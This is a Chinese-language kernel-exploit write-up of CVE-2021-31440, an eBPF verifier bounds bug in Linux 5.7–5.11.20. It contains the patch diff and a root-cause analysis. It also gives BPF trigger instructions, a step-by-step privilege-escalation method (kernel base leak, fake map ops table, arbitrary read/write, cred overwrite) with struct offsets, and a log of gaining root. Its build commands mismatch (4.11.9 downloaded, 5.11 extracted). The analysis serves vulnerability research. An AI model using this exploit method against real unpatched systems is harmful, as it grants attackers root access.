【kernel exploit】CVE-2021-31440 eBPF边界计算错误漏洞（Pwn2Own 2021）

影响版本：Linux 5.7 ~ 5.11.20 8.8分。 v5.11.21已修补，v5.11.20未修补。

测试版本：Linux-5.11 exploit及测试环境下载地址—https://github.com/bsauce/kernel_exploit_factory

编译选项：CONFIG_BPF_SYSCALL，config所有带BPF字样的。

General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB

在编译时将.config中的CONFIG_E1000和CONFIG_E1000E，变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.11.9.tar.xz
$ tar -xvf linux-5.11.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。

漏洞描述：eBPF模块—kernel/bpf/verifier.c的__reg_combine_64_into_32() 函数，寄存器计算错误。

补丁：patch

diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 637462e9b6ee9..9145f88b2a0a5 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -1398,9 +1398,7 @@ static bool __reg64_bound_s32(s64 a)
 
 static bool __reg64_bound_u32(u64 a)
 {
-   if (a > U32_MIN && a < U32_MAX)
-       return true;
-   return false;
+   return a > U32_MIN && a < U32_MAX;
 }
 
 static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
@@ -1411,10 +1409,10 @@ static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
        reg->s32_min_value = (s32)reg->smin_value;
        reg->s32_max_value = (s32)reg->smax_value;
    }
-   if (__reg64_bound_u32(reg->umin_value))
+   if (__reg64_bound_u32(reg->umin_value) && __reg64_bound_u32(reg->umax_value)) {
        reg->u32_min_value = (u32)reg->umin_value;
-   if (__reg64_bound_u32(reg->umax_value))
        reg->u32_max_value = (u32)reg->umax_value;
+   }
 
    /* Intersecting with the old var_off might have improved our bounds
     * slightly.  e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
diff --git a/tools/testing/selftests/bpf/verifier/array_access.c b/tools/testing/selftests/bpf/verifier/array_access.c
index 1b138cd2b187d..1b1c798e92489 100644
--- a/tools/testing/selftests/bpf/verifier/array_access.c
+++ b/tools/testing/selftests/bpf/verifier/array_access.c
@@ -186,7 +186,7 @@
    },
    .fixup_map_hash_48b = { 3 },
    .errstr_unpriv = "R0 leaks addr",
-   .errstr = "invalid access to map value, value_size=48 off=44 size=8",
+   .errstr = "R0 unbounded memory access",
    .result_unpriv = REJECT,
    .result = REJECT,
    .flags = F_NEEDS_EFFICIENT_UNALIGNED_ACCESS,

保护机制：开启KASLR/SMEP/SMAP。

利用总结：利用verifier阶段与实际执行阶段的不一致性，进行越界读写。泄露内核基址、伪造函数表、实现任意读写后篡改本线程的cred。

一、漏洞分析

该漏洞和CVE-2020-8835，CVE-2020-27194这两个漏洞的原理类似，均是在32位和64位之间进行转换操作时，错误计算了寄存器的约束边界，导致可以绕过验证器检查实现越界读写。缺陷代码出现在kernel/bpf/verifier.c的__reg_combine_64_into_32() 函数中，该函数是在commit_id：3f50f132d840中引入的，该功能实现了用64位寄存器上的已知范围来推断该寄存器低32位的范围，但是同样出现了类似的计算错误，该函数实现如下：

static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
{
    __mark_reg32_unbounded(reg);

    if (__reg64_bound_s32(reg->smin_value) && __reg64_bound_s32(reg->smax_value)) { // [1]
        reg->s32_min_value = (s32)reg->smin_value;
        reg->s32_max_value = (s32)reg->smax_value;
    }
    if (__reg64_bound_u32(reg->umin_value))             // [2] 只有最大值在32位的范围内，64位的最小值才是32位的最小值
        reg->u32_min_value = (u32)reg->umin_value;
    if (__reg64_bound_u32(reg->umax_value))             // [3]
        reg->u32_max_value = (u32)reg->umax_value;

    /* Intersecting with the old var_off might have improved our bounds
     * slightly.  e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
     * then new var_off is (0; 0x7f...fc) which improves our umax.
     */
    __reg_deduce_bounds(reg);
    __reg_bound_offset(reg);
    __update_reg_bounds(reg);
}

static bool __reg64_bound_s32(s64 a)
{
    return a > S32_MIN && a < S32_MAX;
}
static bool __reg64_bound_u32(u64 a)
{
    if (a > U32_MIN && a < U32_MAX)
        return true;
    return false;
}

漏洞：[1]处，如果smin_value和smax_value都在带符号的32位整数范围内，则将相应的更新32位带符号范围大小，对于有符号的范围来说，这种操作是正确的。在无符号范围的相应逻辑中，对umin_value和umax_value分别在[2] 和 [3] 进行了检查，这里检测逻辑错误。例如，设置dreg->umin_value=1，dreg->umax_value=1<<32，即 0x100000000，经过以上操作后，reg->u32_min_value=1，reg->u32_max_value=0，高位被截断。此时reg寄存器的32位范围已经混乱，但是运行时reg的范围是正常的。

本质原因：漏洞代码认为有符号64位最小值为1时，32位最小值也为1，其实不一定，64位的最小值和32位的最小值并一定相等，两者并没有关系。例如64位有符号数的最小值为0x1ffffffff，而32位最小值就为-1了。可以联想到无符号数也是这种情况，比如无符号64位最小值也不一定等于32位无符号的最小值，例如64位无符号的最小值为0x100000000，32位无符号的最小值就为0。但看了代码，发现但开发者并没有补，这漏洞本质原因是64位数的范围不同于32位数的范围。

补丁：之前commit b02709587ea3对于有符号边界的情况，已经进行了修改，也即将有符号的smin_value和smax_value判断条件合并到一起，但没有管无符号判断的情况。正确的补丁是，将[2] [3]合并在一起，同时判断 umin_value 和 umax_value，也即合并为if (__reg64_bound_u32(reg->umin_value) && __reg64_bound_u32(reg->umax_value)) {。

调用链：do_check_main() -> do_check_common() -> do_check() （L10140） -> check_cond_jmp_op() （L8117 / L8144） -> reg_set_min_max() （L7701） -> __reg_combine_64_into_32()

二、调试分析

参考1对应的exp是CVE-2021-31440.c；参考2对应的exp是CVE-2021-31440_2.c。都能利用成功。

首先将BPF_REG_7寄存器设置为1<<32，即0x10000000，并通过两个连续的NEG指令使验证器无法跟踪寄存器的范围，同时可以保证寄存器的值在运行时不变。可以通过如下BPF指令实现：

// (1) trigger vulnerability
    BPF_MAP_GET(0,BPF_REG_5),                           // 9: (79) r5 = *(u64 *)(r0 +0)                     传进r5=0x180000000

    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // 11: (bf) r8 = r0
    BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),                // 12: (bf) r7 = r0
    BPF_MOV64_REG(BPF_REG_6, BPF_REG_5),                // 13: (bf) r6 = r5

    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 1, 1),             // 14: (75) if r6 s>= 0x1 goto pc+1     对1进行有符号比较
    BPF_EXIT_INSN(),                                    // 15: (95) exit

    BPF_LD_IMM64(BPF_REG_2, 0x8fffffff),                // 16: (18) r2 = 0x8fffffff             此时认为r6的范围为：[1,0x7fffffffffffffff]
    BPF_JMP_REG(BPF_JGT, BPF_REG_6, BPF_REG_2, 1),      // 18: (2d) if r6 > r2 goto pc+1        此时对r2进行无符号比较
    BPF_EXIT_INSN(),                                    // 19: (95) exit                        得到r2的64位范围为[0x90000000,0x7fffffffffffffff]，32位范围为：[0x90000000, 0xffffffff]，这里检查就出现了错误：64位操作数的比较，32位的范围应该是不清楚的，但却得到范围[0x90000000, 0xffffffff]，只要传进来的数32位部分不在此范围，就可以触发漏洞

    BPF_MOV32_REG(BPF_REG_6, BPF_REG_6),                // 20: (bc) w6 = w6                     对64位进行截断，只看32位部分，范围依旧是[0x90000000, 0xffffffff]
    BPF_ALU32_IMM(BPF_ADD, BPF_REG_6, 0x70000000),      // 21: (04) w6 += 1879048192            w6+=0x70000000,得到范围为[0,0x6fffffff]
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 31),              // 22: (77) r6 >>= 31                   右移31位，取32位范围的符号位，因为认为范围是[0,0x6fffffff]，所以r6恒为0。而实际执行时，传入0x180000000时，r6=1

三、漏洞利用

漏洞利用部分可参考CVE0-2020-8835利用，利用过程相同，只需修改部分地址，进行适配。

利用过程：介绍bpf_array->value布置，value[0]—触发漏洞的寄存器初始值；value[1]—功能选项，0泄露内核基址、1任意读、2泄露&value[0]、3任意写；value[2]—写入的值。

• （1）创建eBPF代码，载入内核，通过verifier检查；

• （2）泄露内核基址(op=0)：读取bpf_array->map->ops指针，位于 &value[0]-0x110 (eBPF程序中可以获取&value[0]，再减去0x110即可)，读出来的地址存放在value[4]，用户层调用bpf_lookup_elem()即可获取。

  gdb-peda$ p/x &(*(struct bpf_array *)0)->value
  $1 = 0x110
  $ cat /tmp/kallsyms | grep startup_64    # 泄露出来的 bpf_array->map->ops 减去加载地址，获得偏移
  ffffffff81000000 T startup_64
  

• （3）&value[0]+0x80+0x70处伪造 bpf_array->map->ops->->map_push_elem：先任意读(op=1)泄露bpf_array->map->ops->map_get_next_key，然后在&value[0]+0x80处伪造bpf_array->map->ops函数表，将map_push_elem替换为map_get_next_key，便于之后构造任意写；

  pwndbg> p/x &(*(struct bpf_map_ops*)0)->map_push_elem
  $11 = 0x70
  pwndbg> p/x &(*(struct bpf_map_ops*)0)->map_get_next_key
  $12 = 0x20
  

• （4）泄露&value[0] (op=2)：便于在value[]上伪造假的bpf_array->map->ops函数表；读取value[0]的地址，由于 bpf_array->waitlist (偏移0xc0)指向自身，所以 &value[0]= &bpf_array->waitlist + 0x50，只需读取 &value[0]-0x110+0xc0 的值，加上0x50即可，读出来的地址存放在value[4]。

  gdb-peda$ p/x &(*(struct bpf_array *)0)->map->freeze_mutex->wait_list
  $4 = 0xc0
  

• （5）泄露task_struct地址(op=1)：任意地址读，一次只能读4字节，篡改 bpf_array->map->btf (偏移0x40)，利用 bpf_map_get_info_by_fd 泄露 map->btf+0x58 地址处的4字节（将map->btf篡改为target_addr-0x58即可）；首个task_struct地址存放在init_pid_ns。

  pwndbg> p/x &(*(struct btf*)0)->id
  $13 = 0x58
  pwndbg> p/x &(*(struct bpf_map_info*)0)->btf_id
  $14 = 0x40
  
  $ cat /proc/kallsyms | grep init_pid_ns
  0xffffffff82663ca0
  $ x /20xg init_pid_ns_addr
  $ p *(struct task_struct*) xxxxxxxx   # 确认 init_pid_ns 的偏移0x38处存放 task_struct 地址（real_cred 和 cred 地址相同），Linux-5.11版本就是0x30
  

• （6）找到本线程的cred地址(op=1)：遍历 task_struct->tasks->next 链表，读取指定线程的cred地址。

  gdb-peda$ p/x &(*(struct task_struct *)0)->pid
  $7 = 0x908
  gdb-peda$ p/x &(*(struct task_struct *)0)->cred
  $8 = 0xac8
  gdb-peda$ p/x &(*(struct task_struct *)0)->tasks  # 下一个 task_struct 的地址
  $9 = 0x808
  

• （7）修改cred，任意地址写(op=3)：篡改 bpf_array->map->ops 函数表指针，指向&value[0]+0x80处伪造的bpf_map_ops函数表，将map_push_elem改为map_get_next_key ，这样调用map_push_elem时实际会调用map_get_next_key ，能够任意写4字节（用户层调用bpf_update_elem()）；还需要构造 map 的3个字段绕过某些检查。

  # 需构造 map 的3个字段绕过某些检查
  # 1. bpf_array->map->map_type = BPF_MAP_TYPE_STACK (0x17)
  pwndbg> p/x &(*(struct bpf_array*)0)->map->map_type
  $10 = 0x18
  # 2. bpf_array->map->max_entries = 0xffffffff
  pwndbg> p/x &(*(struct bpf_array*)0)->map->max_entries
  $9 = 0x24
  # 3. bpf_array->map->spin_lock_off = 0
  pwndbg> p/x &(*(struct bpf_array*)0)->map->spin_lock_off
  $8 = 0x2c
  

问题：Linux-5.11.20 版本总是无法泄露内核基址。不知道是不是新版内核加入了BPF保护措施。

exp适配：

• （1）update_elem(0, 2); -> update_elem(0, 0x180000000); 也即value[0]是传入的r6的值，用于触发漏洞。
• （2）以上利用过程中涉及到的偏移。

测试结果：

/ $ uname -a
Linux (none) 5.11.0 #1 SMP Tue Jun 8 06:45:20 PDT 2021 x86_64 GNU/Linux
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ cd exp
/exp $ ./CVE-2021-31440
[*] sneaking evil bpf past the verifier
processed 226 insns (limit 1000000) max_states_per_insn 1 total_states 20 peak_3

[*] creating socketpair()
[*] attaching bpf backdoor to socket
leak addr: 0xffffffffbc6358a0
linux base: 0xffffffffbb600000
value addr: 0xffff8baec2eb7110
init_pid_ns addr: 0xffffffffbcc63ca0
self pid is 127
task_struct addr: 0xffff8baec12096c0
iter pid 1 ...
[+] iter task 0xffff8baec120c440 ...
iter pid 2 ...
......
[+] iter task 0xffff8baec138ad80 ...
iter pid 127 ...
got it!
get cred_addr 0xffff8baec1372480
usage: 8
getting shell!
/exp # id
uid=0(root) gid=0(root) egid=1000(chal) groups=1000(chal)
/exp #

参考

Linux内核eBPF verifier边界计算错误漏洞分析与利用（CVE-2021-31440）

CVE-2021-31440：Linux 内核eBPF提权漏洞分析（Pwn2Own 2021）